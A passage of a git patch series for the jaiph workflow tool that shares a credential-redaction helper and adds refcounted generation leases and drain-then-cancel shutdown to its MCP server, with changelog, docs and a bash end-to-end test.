b/src/runtime/kernel/redact.ts @@ -0,0 +1,24 @@ +/** + * Credential redaction shared by every surface that persists or returns + * workflow output: the durable `run_summary.jsonl` writes in + * `RuntimeEventEmitter`, and the call-result text composed for `jaiph serve` + * and `jaiph mcp` (`src/cli/exec/call.ts`). One definition of "credential" + * keeps the journal, HTTP, and MCP surfaces in agreement. + */ + +const CREDENTIAL_KEY_SUFFIXES = ["_API_KEY", "_TOKEN", "_SECRET", "_API_TOKEN"] as const; + +export function isCredentialKey(key: string): boolean { + const upper = key.toUpperCase(); + return CREDENTIAL_KEY_SUFFIXES.some((s) => upper.endsWith(s)); +} + +/** Replace each credential env value (≥8 chars) found in `text` with [REDACTED]. */ +export function redactCredentials(text: string, env: NodeJS.ProcessEnv): string { + let result = text; + for (const [key, value] of Object.entries(env)) { + if (!value || value.length < 8 || !isCredentialKey(key)) continue; + result = result.split(value).join("[REDACTED]"); + } + return result; +} diff --git a/src/runtime/kernel/runtime-event-emitter.ts b/src/runtime/kernel/runtime-event-emitter.ts index 71103595..4fafbf6c 100644 --- a/src/runtime/kernel/runtime-event-emitter.ts +++ b/src/runtime/kernel/runtime-event-emitter.ts @@ -8,25 +8,9 @@ import { writeFileSync } from "node:fs"; import { join } from "node:path"; import { appendRunSummaryLine, CHAIN_GENESIS, sha256hex } from "./emit"; +import { redactCredentials } from "./redact"; import { MAX_EMBED, nowIso, sanitizeName, stripOuterQuotes } from "./runtime-arg-parser"; -const CREDENTIAL_KEY_SUFFIXES = ["_API_KEY", "_TOKEN", "_SECRET", "_API_TOKEN"] as const; - -function isCredentialKey(key: string): boolean { - const upper = key.toUpperCase(); - return CREDENTIAL_KEY_SUFFIXES.some((s) => upper.endsWith(s)); -} - -/** Replace each credential env value (≥8 chars) found in `text` with [REDACTED]. */ -function redactCredentials(text: string, env: NodeJS.ProcessEnv): string { - let result = text; - for (const [key, value] of Object.entries(env)) { - if (!value || value.length < 8 || !isCredentialKey(key)) continue; - result = result.split(value).join("[REDACTED]"); - } - return result; -} - export type Frame = { id: string; kind: string; From eb1620a1a5c3d78ce11450f4e8827a5943ef2ab8 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 13:31:15 +0200 Subject: [PATCH 08/24] Fix: keep MCP generations alive while calls are in flight jaiph mcp handled tool calls concurrently, but a hot reload deleted the previous generation's out dir (emitted scripts + serialized graph) the instant it swapped, so a call started just before the reload lost the scripts its remaining steps spawn from. Signal shutdown also removed the shared temp root without draining or cancelling active calls. Extract the LiveGeneration refcount model that jaiph serve already used into createGenerationTracker in src/cli/shared/generation.ts and share it between both commands. Each call acquires a lease on the generation live at call start; a superseded generation's out dir is deleted only when its last lease releases, so a call spanning one or more reloads always runs from the generation it captured and no directory is left behind. Shutdown is now drain-then-cancel: stdin close or the first SIGINT/SIGTERM stops accepting input and awaits in-flight calls before cleanup, exiting 0. A second signal invokes McpServer.cancelAll(), terminating each run's child process tree (SIGINT then SIGKILL) and force-removing its Docker container, so no child process or container is orphaned; killed runs settle with normal isError responses so the drain still completes. Adds generation.test.ts, server.test.ts cancelAll coverage, and e2e test 149_mcp_generation_lifecycle.sh; updates CLI and MCP docs. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 2 + QUEUE.md | 16 -- docs/cli.md | 3 +- docs/mcp.md | 5 + e2e/test_all.sh | 1 + e2e/tests/149_mcp_generation_lifecycle.sh | 239 ++++++++++++++++++++++ src/cli/commands/mcp.ts | 79 ++++--- src/cli/commands/serve.ts | 53 ++--- src/cli/mcp/server.test.ts | 35 ++++ src/cli/mcp/server.ts | 11 + src/cli/shared/generation.test.ts | 108 ++++++++++ src/cli/shared/generation.ts | 66 +++++- 12 files changed, 538 insertions(+), 80 deletions(-) create mode 100755 e2e/tests/149_mcp_generation_lifecycle.sh create mode 100644 src/cli/shared/generation.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 0f7a3481..f2fd07b4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,8 @@ ## All changes +- **Fix — keep `jaiph mcp` generations alive while calls are in flight, and drain before shutdown:** `jaiph mcp` handles tool calls concurrently, but a hot reload used to delete the previous generation's out dir (emitted scripts + serialized graph) the instant it swapped — `rmSync(previousOutDir, …)` ran synchronously in the reload handler — so a call that started just before the reload lost the scripts its remaining steps spawn from, and signal shutdown removed the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounted its generations (HTTP runs can outlive a reload); MCP now gets the same guarantee from a **shared** lifecycle. The `LiveGeneration` refcount model was extracted from `src/cli/commands/serve.ts` into `createGenerationTracker` in `src/cli/shared/generation.ts` and is now used by both commands: each call `acquire()`s a **lease** on the generation live at call start (`lease.state` is stable for the call's lifetime), and a superseded generation's out dir is deleted only when its **last lease releases** — immediately on swap when idle, otherwise when the final in-flight call settles. A call spanning one or more reloads therefore always runs its remaining script steps from the generation it captured, and no generation directory is left behind after all calls settle. **Shutdown is now drain-then-cancel** (matching `jaiph serve`): stdin closing or the **first** `SIGINT`/`SIGTERM` stops accepting input and awaits every in-flight call before removing the temp root and exiting `0` — a draining call keeps its scripts on disk until it settles. A **second** signal cancels instead of waiting: the new `McpServer.cancelAll()` (`src/cli/mcp/server.ts`) invokes each in-flight call's cancel handle, terminating its run's child process tree (`SIGINT`, then `SIGKILL` after a grace period) and, in Docker mode, force-removing its container (`docker rm -f`), so no child process or container is orphaned; unlike a client `notifications/cancelled`, the calls are **not** marked cancelled — each killed run settles with a normal `isError` response, so the drain awaiting them completes deterministically and the server still exits `0`. Tests: new `src/cli/shared/generation.test.ts` (lease pins the generation across a swap; last release deletes the superseded dir; concurrent leases across multiple swaps settle out-of-order and leave only the current dir; release is idempotent and cannot free a dir another lease still holds), `src/cli/mcp/server.test.ts` (`cancelAll` kills every in-flight run yet still delivers each `isError` response), and a new `e2e/tests/149_mcp_generation_lifecycle.sh` (wired into `e2e/test_all.sh`): a slow call started before a reload returns the **old** generation's value while a post-reload call returns the **new** one and stdin-close drains both; SIGTERM drains an in-flight call to completion with no orphaned script process; a second SIGTERM cancels with an `isError` result and no orphan. Docs: updated `jaiph mcp` shutdown/exit behavior and a generation-lease note in [CLI](docs/cli.md#jaiph-mcp), an in-flight-call note under hot reload and a new "Shutdown (drain, then cancel)" section in [Serve workflows as MCP tools](docs/mcp.md). + - **Fix — redact credentials from every returned workflow result, not just the durable journal:** `jaiph serve`'s `result_text` and a `jaiph mcp` tool error could return a secret that events, OTLP, and Sentry all redacted. The failure text was built in `composeResult` (`src/cli/exec/call.ts`) from the run's **live** captured output — failed-step detail, raw stderr/stdout, and collected `log` messages — whereas only the durable `run_summary.jsonl` copies were credential-redacted by `RuntimeEventEmitter`; a workflow that echoed a `*_API_KEY` / `*_TOKEN` / `*_SECRET` value to a stream and then failed leaked it verbatim through `?wait=true`, `GET /v1/runs/{id}`, and MCP tool results. The redaction rule is now **one shared helper**, `redactCredentials` (extracted from `RuntimeEventEmitter` into the new `src/runtime/kernel/redact.ts` — same credential-key suffixes, same ≥8-char threshold), imported by both the journal writer and `composeResult`. `composeResult` redacts the fully assembled failure text once, so step detail, raw streams, and logs all pass the same boundary regardless of which branch contributed them, and it does not rely on the (unredacted-at-source) live `__JAIPH_EVENT__` stream. This is the single boundary both `jaiph serve` (`result_text`) and `jaiph mcp` (tool results) return through; on the Docker path the `--env` passthrough (which flows through `DockerSpawnOptions.extraEnv`, not `runtimeEnv`) is merged back in so those values redact too. **Successful return values are unchanged:** a workflow's `return` is intentional API output, not diagnostic capture, and is returned verbatim (its `log`-output fallback, being diagnostic capture, is redacted). Tests: `src/cli/exec/call.test.ts`, and integration coverage that a failing workflow echoing a credential to both streams never exposes the value through `?wait=true`, `GET /v1/runs/{id}` (`integration/serve-server.test.ts`), or an MCP tool result (`integration/mcp-server.test.ts`) while `[REDACTED]` and the failed-step diagnostics are retained; the existing event-journal, OTLP, and Sentry redaction tests still pass. Docs: [Serve workflows over HTTP](docs/serve.md), [Call a tool and read the result](docs/mcp.md), and the redaction section of [Architecture](docs/architecture.md). - **Feat — standalone runtime image: run jaiph in Docker/Kubernetes without a host orchestrator:** The published `ghcr.io/jaiphlang/jaiph-runtime` image (`runtime/Dockerfile`) already contained `jaiph`, the claude/cursor/codex backends, and a full toolchain, but it was only ever used as a *sandbox rootfs orchestrated by a host jaiph process*; running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) failed because jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. The image now **bakes `ENV JAIPH_UNSAFE=true`** (with a rationale comment: inside the image the container *is* the sandbox, so host-mode execution is correct and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod), so the "put credentials + jaiph files and run it" story works on every build. **Host-orchestrated sandbox behavior is unchanged:** no `ENTRYPOINT` is added and `WORKDIR` is untouched (the host passes an explicit command argv that a prefix would corrupt), and the container-inner invocation the host uses is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` — the full Docker e2e suite stays green with the ENV present. New `src/runtime/docker.ts` seams back the standalone story: an injectable `_containerIndicator.present()` (true when `/.dockerenv` — Docker — or `/run/.containerenv` — Podman / CRI — exists) and `isRunningInContainer()`; `checkDockerAvailable()` now, when Docker is unavailable **and** a container indicator is present, throws `E_DOCKER_NOT_FOUND … jaiph is running inside a container already. Set JAIPH_UNSAFE=true to run in host mode (the container is the sandbox). See https://jaiph.org/deploy` (covering users of derived images without the baked ENV) — with no indicator the original "Install Docker …" error is unchanged. `confirmUnsafeRun` (`src/runtime/docker-inplace.ts`) now, inside a container, proceeds with a one-line stderr notice (`running host-only inside a container (the container is the sandbox)`) instead of prompting or aborting `E_UNSAFE_NO_CONFIRM` — mirroring the win32 host-only override — which is what lets an unattended pod run. No new `JAIPH_*` env vars. Tests: `src/runtime/docker.test.ts` (indicator present → the container guidance with `JAIPH_UNSAFE=true`; indicator absent → the install-Docker error verbatim), `src/runtime/docker-inplace.test.ts` (in-container non-TTY without auto-confirm proceeds without opening a prompt and prints the notice; on a host the same conditions still throw `E_UNSAFE_NO_CONFIRM`), and a gated `e2e/tests/148_standalone_image.sh` (wired into `e2e/test_all.sh`) that runs the built image standalone on a fixture `hello.jh` with **no** `-e JAIPH_UNSAFE` and no Docker daemon inside, asserting the `return` value round-trips to `return_value.txt` and exit `0` — proving host mode comes purely from the baked ENV. CI: a new `k8s-manifest` job in `.github/workflows/ci.yml` provisions a throwaway kind cluster and runs `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` on every build. Docs: new [Deploy the runtime image standalone](docs/deploy.md) how-to (one-shot `docker run` with the claude/cursor/codex credential variants, a CI note pointing at the pattern `nightly-engineer.yml` uses, Kubernetes, and a plainly-stated **no-jaiph-sandbox security posture** — isolation is the container/pod boundary and workspace content policy is the operator's responsibility), an apply-ready `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials and `JAIPH_SERVE_TOKEN` + Service, `jaiph serve --host 0.0.0.0` with `/healthz` liveness/readiness probes, tag-pinning / TLS-via-ingress / resource-request guidance), links from README, [Sandboxing](docs/sandboxing.md), and [Install & switch versions](docs/setup.md), an updated `JAIPH_UNSAFE` row in [Environment variables](docs/env-vars.md) noting the image bakes it, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23` — "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … it can't depend on a local machine + docker".) diff --git a/QUEUE.md b/QUEUE.md index 466be5c4..d5d84b46 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Keep MCP generations alive while calls are in flight #dev-ready - -`jaiph mcp` handles tool calls concurrently, but hot reload immediately deletes the previous generation's scripts directory. A call started just before reload can still need those scripts. Signal shutdown also removes the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounts generations; MCP needs the same lifecycle guarantee. - -Scope: - -- Share or mirror the generation lease/refcount model for MCP and HTTP. -- Delete a superseded generation only after its last call settles. -- On stdin close, drain active calls before cleanup. On SIGINT/SIGTERM, use a documented drain-then-cancel policy and stop Docker containers as well as child processes. - -Acceptance: - -- A slow MCP call started before a source reload completes successfully after the new generation is active. -- Concurrent calls spanning multiple reloads use the generation captured at call start and leave no generation directories after all calls settle. -- Shutdown tests prove no active call reads deleted scripts and no child process/container is orphaned. - ## Make the Kubernetes example runnable and hardened by default #dev-ready The current manifest mounts the workflow ConfigMap read-only at `/work`, while standalone host mode writes runs under `/work/.jaiph/runs`; the example is schema-valid but cannot complete a real run. It also ships publicly known placeholder secrets and omits the pod hardening that `docs/deploy.md` says the operator must supply. diff --git a/docs/cli.md b/docs/cli.md index a73902ec..b13504d2 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -293,7 +293,7 @@ jaiph mcp [--workspace

    ] [--env KEY[=VALUE]]... - Loads the module graph and runs `collectDiagnostics` (the same compile-time pass as `jaiph compile`). Any diagnostic prints `file:line:col CODE message` lines to **stderr** and exits `1`. - A missing path, a non-`.jh` path, or a path that is not a file exits `1` with a message on stderr. -- On success the server runs until stdin closes or it receives `SIGINT` / `SIGTERM`, then drains in-flight calls and exits `0`. +- On success the server runs until stdin closes or it receives `SIGINT` / `SIGTERM`. Shutdown is **drain-then-cancel**: stdin closing (or the first signal) stops accepting input and waits for in-flight calls to finish before cleaning up and exiting `0` — a draining call keeps its scripts until it settles. A **second** signal cancels the in-flight calls instead of waiting: each run's child process tree is terminated (`SIGINT`, then `SIGKILL` after a grace period) and, in Docker mode, its container is force-removed (`docker rm -f`), so no child process or container outlives the server; the killed calls settle with error results and the server still exits `0`. ### stdout invariant @@ -345,6 +345,7 @@ Tool descriptions come from the `#` comment lines directly above each workflow ( - Tool calls honor the same env-driven sandbox selection as `jaiph run` (`resolveDockerConfig`): Docker on macOS/Linux by default, host-only under `JAIPH_UNSAFE=true` or on Windows. The image is prepared once at startup (`checkDockerAvailable` + `prepareImage`), not per call. Run artifacts land under `.jaiph/runs/` exactly as for `jaiph run`. - **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Set `JAIPH_INPLACE=1` to bind the real workspace read-write so tool effects land live (opt-in), or `JAIPH_UNSAFE=true` to run on the host with no sandbox. - Source files in the module graph are watched (polling, ~750 ms). A valid edit re-derives tools and emits `notifications/tools/list_changed`; an edit that fails to compile keeps the previous tool set serving and logs diagnostics to stderr. +- Calls bind to the generation (emitted scripts + serialized graph) live when they start; a superseded generation's scripts dir survives until its last in-flight call settles, so a call spanning a reload still runs its remaining steps — the same lease model `jaiph serve` uses for HTTP runs. ## `jaiph serve` {: #jaiph-serve} diff --git a/docs/mcp.md b/docs/mcp.md index bdd9c959..d57ee839 100644 --- a/docs/mcp.md +++ b/docs/mcp.md @@ -147,6 +147,11 @@ The server watches every source file in the module graph (polling, ~750 ms). Whe - The graph is reloaded and re-validated, tools are re-derived, and the server emits `notifications/tools/list_changed`. A subsequent `tools/list` reflects the new tool set. - If the edit introduces a **compile error**, the server keeps serving the previous, valid tool set and logs the diagnostics to stderr — clients are never left with a broken tool list. +- A tool call already in flight is untouched: it keeps executing against the scripts of the generation it started under, and that generation's files are deleted only once its last in-flight call settles. New calls use the reloaded sources. + +## Shutdown (drain, then cancel) + +The server shuts down when stdin closes or on `SIGINT` / `SIGTERM`. Either way it first **drains**: it stops accepting input and waits for in-flight tool calls to finish — their scripts stay on disk until they settle — then cleans up and exits `0`. If you don't want to wait, send a **second** signal: every in-flight run's child process tree is terminated (`SIGINT`, then `SIGKILL` after a short grace period) and, in Docker mode, each call's container is force-removed (`docker rm -f`), the same no-orphan contract as per-call cancellation above. The killed calls report error results and the server exits `0`. ## Safety posture diff --git a/e2e/test_all.sh b/e2e/test_all.sh index f2ebda79..57cb38b7 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -104,6 +104,7 @@ TEST_SCRIPTS=( "e2e/tests/140_env_passthrough.sh" "e2e/tests/141_mcp_docker_sandbox.sh" "e2e/tests/147_serve_http_api.sh" + "e2e/tests/149_mcp_generation_lifecycle.sh" "e2e/tests/146_trusted_envs.sh" "e2e/tests/148_standalone_image.sh" "e2e/tests/210_standalone_binary.sh" diff --git a/e2e/tests/149_mcp_generation_lifecycle.sh b/e2e/tests/149_mcp_generation_lifecycle.sh new file mode 100755 index 00000000..fa4e5357 --- /dev/null +++ b/e2e/tests/149_mcp_generation_lifecycle.sh @@ -0,0 +1,239 @@ +#!/usr/bin/env bash +# +# MCP 7/8 — generation lifecycle: hot reload with in-flight calls + drain-then-cancel shutdown +# ============================================================================================ +# Black-box coverage of the generation lease model (src/cli/shared/generation.ts) +# through the real `jaiph` entrypoint: +# +# 1. A tool call started before a source reload keeps running against the +# generation it captured at call start: its second script step (spawned +# AFTER the reload swapped generations) still finds its scripts dir, and +# the call returns the OLD generation's value. A call made after the +# reload returns the NEW generation's value. Stdin closes while both +# calls are still in flight, so this also proves stdin-close drains +# active calls before cleanup. Gate files make the ordering +# deterministic: the first call provably blocks across the reload. +# +# 2. SIGTERM with a call in flight drains: the server stops accepting input, +# the call finishes normally AFTER the signal (its scripts must still be +# on disk), its response is delivered, and the server exits 0. +# +# 3. A second SIGTERM cancels: the in-flight run's child process tree is +# killed (no orphan — the script's recorded PID is gone after exit), the +# call settles with an isError result, and the server still exits 0. +# +# The server's stdin is a pipe from a feeder subshell (not a FIFO — macOS does +# not reliably deliver FIFO EOF to node), matching how real MCP clients spawn +# stdio servers. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "mcp_generation_lifecycle" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +if ! command -v python3 >/dev/null 2>&1; then + e2e::fail "python3 required for JSON-RPC stdout validation" +fi + +INIT_REQ='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{}}}' + +# Wait until a pattern appears in a file (server stderr, pid files, ...). +wait_for() { + local label="$1" path="$2" pattern="$3" + for _ in $(seq 1 100); do + if [[ -f "${path}" ]] && grep -q "${pattern}" "${path}" 2>/dev/null; then + return 0 + fi + sleep 0.2 + done + [[ -f "${path}" ]] && printf 'file was:\n%s\n' "$(cat "${path}")" >&2 + e2e::fail "${label}" +} + +# Extract `text` + `isError` of one tools/call response by id from a JSON-RPC +# stdout capture. Prints "\n". +response_fields() { + python3 - "$1" "$2" <<'PY' +import json, sys + +wanted = int(sys.argv[2]) +for line in open(sys.argv[1], encoding="utf-8"): + if not line.strip(): + continue + msg = json.loads(line) + if msg.get("id") == wanted and "result" in msg: + r = msg["result"] + print("true" if r.get("isError") else "false") + print(r["content"][0]["text"].splitlines()[0]) + sys.exit(0) +sys.exit(f"no result for id {wanted}") +PY +} + +# `slow` runs two script steps: `pause` blocks on a gate file (and records that +# the call started via a pid file), then `stamp` — spawned only after the gate +# appears — echoes this generation's marker. +write_fixture() { + local file="$1" marker="$2" pidfile="$3" gate="$4" + cat > "${file}" < "${pidfile}"; while [ ! -f "${gate}" ]; do sleep 0.2; done\` +script stamp = \`echo "${marker}"\` + +# Waits for the gate file, then reports its generation's marker. +workflow slow() { + run pause() + const out = run stamp() + return out +} +EOF +} + +# --------------------------------------------------------------------------- +# 1. A slow call spans a hot reload and keeps its generation's scripts +# --------------------------------------------------------------------------- +e2e::section "in-flight call survives a hot reload on the generation it started under" + +gate1="${TEST_DIR}/gate1" +pid1="${TEST_DIR}/pause1.pid" +write_fixture "${TEST_DIR}/tools.jh" "generation-one" "${pid1}" "${gate1}" + +out1="${TEST_DIR}/mcp1.out" +err1="${TEST_DIR}/mcp1.err" +# The feeder sends the second call only after the reload is live, then exits — +# closing stdin while BOTH calls are still gated, so the drain must keep the +# generations' scripts alive until the gate opens and the calls settle. +( + printf '%s\n' "${INIT_REQ}" + printf '%s\n' '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"slow","arguments":{}}}' + for _ in $(seq 1 150); do grep -q "sources reloaded" "${err1}" 2>/dev/null && break; sleep 0.2; done + printf '%s\n' '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"slow","arguments":{}}}' +) | jaiph mcp "${TEST_DIR}/tools.jh" >"${out1}" 2>"${err1}" & +E2E_SERVER_PID="$!" + +# The first call is provably in flight (its first script step wrote the pid +# file) before the source is rewritten. +wait_for "gen-1 call started" "${pid1}" "[0-9]" +write_fixture "${TEST_DIR}/tools.jh" "generation-two" "${TEST_DIR}/pause2.pid" "${gate1}" +wait_for "sources reloaded" "${err1}" "sources reloaded" + +# Only now — with the new generation active and stdin about to close — unblock +# both calls; the old call's `stamp` step spawns from the superseded +# generation's scripts dir. +touch "${gate1}" + +mcp1_exit=0 +wait "${E2E_SERVER_PID}" || mcp1_exit=$? +E2E_SERVER_PID="" +e2e::assert_equals "${mcp1_exit}" "0" "server 1 exits 0 after stdin close drains both calls" + +fields="$(response_fields "${out1}" 3)" || { cat "${out1}" "${err1}" >&2; e2e::fail "no response for id 3"; } +{ read -r p_iserror; read -r p_text; } <<< "${fields}" +e2e::assert_equals "${p_iserror}" "false" "call started before the reload succeeds" +e2e::assert_equals "${p_text}" "generation-one" "call started before the reload ran the OLD generation's scripts" + +fields="$(response_fields "${out1}" 4)" || { cat "${out1}" "${err1}" >&2; e2e::fail "no response for id 4"; } +{ read -r p_iserror; read -r p_text; } <<< "${fields}" +e2e::assert_equals "${p_iserror}" "false" "call made after the reload succeeds" +e2e::assert_equals "${p_text}" "generation-two" "call made after the reload ran the NEW generation's scripts" + +# --------------------------------------------------------------------------- +# 2. SIGTERM drains: the in-flight call finishes after the signal, exit 0 +# --------------------------------------------------------------------------- +e2e::section "SIGTERM drains the in-flight call before cleanup" + +gate2="${TEST_DIR}/gate2" +pid2="${TEST_DIR}/pause_drain.pid" +done2="${TEST_DIR}/done2" +write_fixture "${TEST_DIR}/tools_drain.jh" "drain-ok" "${pid2}" "${gate2}" + +out2="${TEST_DIR}/mcp2.out" +err2="${TEST_DIR}/mcp2.err" +# The feeder holds stdin open until the test finishes, so shutdown is driven +# by the signal alone. +( + printf '%s\n' "${INIT_REQ}" + printf '%s\n' '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"slow","arguments":{}}}' + for _ in $(seq 1 300); do [[ -f "${done2}" ]] && break; sleep 0.2; done +) | jaiph mcp "${TEST_DIR}/tools_drain.jh" >"${out2}" 2>"${err2}" & +E2E_SERVER_PID="$!" + +wait_for "drain call started" "${pid2}" "[0-9]" +kill -TERM "${E2E_SERVER_PID}" +wait_for "drain notice logged" "${err2}" "draining in-flight calls" +# The call completes only after the signal: its second script step must still +# find the generation's scripts on disk. +touch "${gate2}" + +mcp2_exit=0 +wait "${E2E_SERVER_PID}" || mcp2_exit=$? +E2E_SERVER_PID="" +touch "${done2}" +e2e::assert_equals "${mcp2_exit}" "0" "server 2 exits 0 after draining" + +fields="$(response_fields "${out2}" 3)" || { cat "${out2}" "${err2}" >&2; e2e::fail "no response for drained call"; } +{ read -r p_iserror; read -r p_text; } <<< "${fields}" +e2e::assert_equals "${p_iserror}" "false" "drained call completed successfully after SIGTERM" +e2e::assert_equals "${p_text}" "drain-ok" "drained call ran its remaining script step after SIGTERM" + +pause_pid="$(cat "${pid2}")" +if kill -0 "${pause_pid}" 2>/dev/null; then + e2e::fail "drained call's script process ${pause_pid} outlived the server" +fi +e2e::pass "no orphaned script process after drain" + +# --------------------------------------------------------------------------- +# 3. Second SIGTERM cancels: child tree killed, error result, exit 0 +# --------------------------------------------------------------------------- +e2e::section "second SIGTERM cancels in-flight calls without orphaning children" + +pid3="${TEST_DIR}/pause_cancel.pid" +done3="${TEST_DIR}/done3" +cat > "${TEST_DIR}/tools_cancel.jh" < "${pid3}"; sleep 300\` + +# Hangs until cancelled. +workflow hang() { + run hang_forever() + return "unreachable" +} +EOF + +out3="${TEST_DIR}/mcp3.out" +err3="${TEST_DIR}/mcp3.err" +( + printf '%s\n' "${INIT_REQ}" + printf '%s\n' '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"hang","arguments":{}}}' + for _ in $(seq 1 300); do [[ -f "${done3}" ]] && break; sleep 0.2; done +) | jaiph mcp "${TEST_DIR}/tools_cancel.jh" >"${out3}" 2>"${err3}" & +E2E_SERVER_PID="$!" + +wait_for "hanging call started" "${pid3}" "[0-9]" +kill -TERM "${E2E_SERVER_PID}" +wait_for "drain notice logged" "${err3}" "draining in-flight calls" +kill -TERM "${E2E_SERVER_PID}" +wait_for "cancel notice logged" "${err3}" "cancelling in-flight calls" + +mcp3_exit=0 +wait "${E2E_SERVER_PID}" || mcp3_exit=$? +E2E_SERVER_PID="" +touch "${done3}" +e2e::assert_equals "${mcp3_exit}" "0" "server 3 exits 0 after cancelling" + +fields="$(response_fields "${out3}" 5)" || { cat "${out3}" "${err3}" >&2; e2e::fail "no response for cancelled call"; } +{ read -r p_iserror; read -r p_text; } <<< "${fields}" +e2e::assert_equals "${p_iserror}" "true" "cancelled call settles with an isError result" +# assert_contains: the narrative is timing-dependent ("terminated by signal +# SIGINT" vs "failed (exit N)" if the runner fields the signal itself), so full +# equality is not feasible; the response must at least name the failed workflow. +e2e::assert_contains "${p_text}" "workflow hang" "cancelled call names the failed workflow" + +hang_pid="$(cat "${pid3}")" +if kill -0 "${hang_pid}" 2>/dev/null; then + kill -9 "${hang_pid}" 2>/dev/null || true + e2e::fail "cancelled call's script process ${hang_pid} outlived the server (orphan)" +fi +e2e::pass "no orphaned script process after cancel" diff --git a/src/cli/commands/mcp.ts b/src/cli/commands/mcp.ts index cde893c6..91991243 100644 --- a/src/cli/commands/mcp.ts +++ b/src/cli/commands/mcp.ts @@ -10,10 +10,11 @@ import { McpServer } from "../mcp/server"; import { callWorkflow } from "../exec/call"; import { loadGeneration, + createGenerationTracker, createSourceWatcher, resolveStartupPosture, WATCH_INTERVAL_MS, - type GenerationState, + type GenerationTracker, } from "../shared/generation"; import { VERSION } from "../../version"; @@ -79,7 +80,7 @@ export async function runMcp(rest: string[]): Promise { const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-mcp-")); let generation = 0; - let state: GenerationState; + let generations: GenerationTracker; try { const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp"); if (!loaded.state) { @@ -87,7 +88,7 @@ export async function runMcp(rest: string[]): Promise { rmSync(tempRoot, { recursive: true, force: true }); return 1; } - state = loaded.state; + generations = createGenerationTracker(loaded.state); } catch (err) { log(err instanceof Error ? err.message : String(err)); rmSync(tempRoot, { recursive: true, force: true }); @@ -100,7 +101,7 @@ export async function runMcp(rest: string[]): Promise { // JAIPH_INPLACE=1. let dockerConfig: ReturnType["dockerConfig"]; try { - const posture = resolveStartupPosture(state, inputAbs, workspaceRoot, log); + const posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); dockerConfig = posture.dockerConfig; if (dockerConfig.enabled) { if (posture.sandboxMode === "inplace") { @@ -120,16 +121,20 @@ export async function runMcp(rest: string[]): Promise { const server = new McpServer({ serverVersion: VERSION, - getTools: () => state.tools, - callTool: (spec, args, ctx) => - callWorkflow( - state.callEnv, + getTools: () => generations.current().tools, + callTool: (spec, args, ctx) => { + // Bind the call to the generation live at start; the lease keeps its + // scripts dir alive until the call settles (deleted then if superseded). + const lease = generations.acquire(); + return callWorkflow( + lease.state.callEnv, dockerConfig, spec.workflow, spec.params.map((p) => args[p] ?? ""), randomUUID(), ctx, - ), + ).finally(() => lease.release()); + }, write: (message) => { process.stdout.write(`${JSON.stringify(message)}\n`); }, @@ -137,7 +142,10 @@ export async function runMcp(rest: string[]): Promise { }); // Hot reload: poll every module source; on change re-validate and swap the - // generation. Validation failures keep the previous generation serving. + // generation. Validation failures keep the previous generation serving. The + // tracker deletes the superseded generation's scripts dir only once its last + // in-flight call settles — a call started just before the reload still runs + // its remaining script steps from the generation it captured at start. let reloading = false; const onSourceChange = (): void => { if (reloading) return; @@ -150,12 +158,10 @@ export async function runMcp(rest: string[]): Promise { for (const f of loaded.failures) log(` ${f}`); return; } - const previousOutDir = state.callEnv.outDir; - state = loaded.state; - watcher.rewatch([...state.graph.modules.keys()]); + generations.swap(loaded.state); + watcher.rewatch([...loaded.state.graph.modules.keys()]); server.notifyToolsChanged(); - log(`jaiph mcp: sources reloaded (${state.tools.length} tool(s))`); - rmSync(previousOutDir, { recursive: true, force: true }); + log(`jaiph mcp: sources reloaded (${loaded.state.tools.length} tool(s))`); } catch (err) { log(`jaiph mcp: reload failed; keeping the previous tool set: ${err instanceof Error ? err.message : String(err)}`); } finally { @@ -163,25 +169,37 @@ export async function runMcp(rest: string[]): Promise { } }; const watcher = createSourceWatcher(WATCH_INTERVAL_MS, onSourceChange); - watcher.rewatch([...state.graph.modules.keys()]); + watcher.rewatch([...generations.current().graph.modules.keys()]); - log(`jaiph mcp: serving ${state.tools.length} tool(s) from ${inputAbs} over stdio`); + log(`jaiph mcp: serving ${generations.current().tools.length} tool(s) from ${inputAbs} over stdio`); return await new Promise((resolveExit) => { + let draining = false; let settled = false; - const shutdown = (code: number): void => { + const finish = (code: number): void => { if (settled) return; settled = true; + process.removeListener("SIGINT", onSignal); + process.removeListener("SIGTERM", onSignal); watcher.stop(); rmSync(tempRoot, { recursive: true, force: true }); resolveExit(code); }; - - const rl = createInterface({ input: process.stdin, terminal: false }); // Handle requests concurrently: a long tools/call must not stall pings or // further calls. JSON-RPC matches responses by id, so ordering is free to // interleave; each outbound message is a single atomic stdout write. const inFlight = new Set>(); 